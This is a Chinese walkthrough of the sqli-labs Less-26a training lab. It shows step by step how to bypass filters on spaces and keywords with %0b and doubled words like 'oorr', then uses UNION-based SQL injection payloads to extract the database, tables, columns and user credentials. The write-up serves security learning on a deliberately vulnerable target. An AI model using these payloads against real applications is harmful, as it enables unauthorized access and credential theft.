sqli-labs/Less-26a

这一关还是提示我们空格和注释符被过滤掉了 可能还是和上一关一样 逻辑运算符也被过滤了

那么和上一关的不同之处可能就在于注入类型的不同

我们首先判断一下注入类型

先判断是否为数字型

输入如下

id=1%0b%26%26%0b1=2

回显如下

说明属于字符型

接着判断属于单还是双引号

 首先输入如下

id=1'

报错是报错了 但是没有报错信息 说明可能带有括号 具体带了多少个 不清楚

既然看不出来 那就手动判断吧

输入如下 先判断一下带一个括号的情况

id=1')%0boorr%0b('1'='1

呦不错嘛 直接正确回显了 说明注入点就是单引号带了一个括号

然后接着进行回显点的判断工作 这次我依然使用联合注入的方式

输入如下

id=0')%0bunion%0bselect%0b1,2,3||('1'='1

回显的数字多换几个 这样才能确定回显位

经过反复尝试 还是第二位才能够回显

所以开始利用第二位来进行各种爆破操作

首先爆库 输入如下

id=0')%0bunion%0bselect%0b1,database(),3||('1'='1

回显如下

爆表 输入如下

这次万能密码从or 1=1修改为and 1=1

id=0')%0bunion%0bselect%0b1,group_concat(table_name),3%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema=database()anandd('1'='1

 回显如下

爆字段 输入如下

 

id=0')%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_name='users'%0banandd%0btable_schema=database()%0banandd%0b('1'='1

回显如下

爆用户名和密码相关信息 输入如下

id=0')%0bunion%0bselect%0b1,group_concat(username,passwoorrd),3%0bfrom%0busers%0bwhere%0b('1'='1

 回显如下 

有成功一关 嗨嗨！！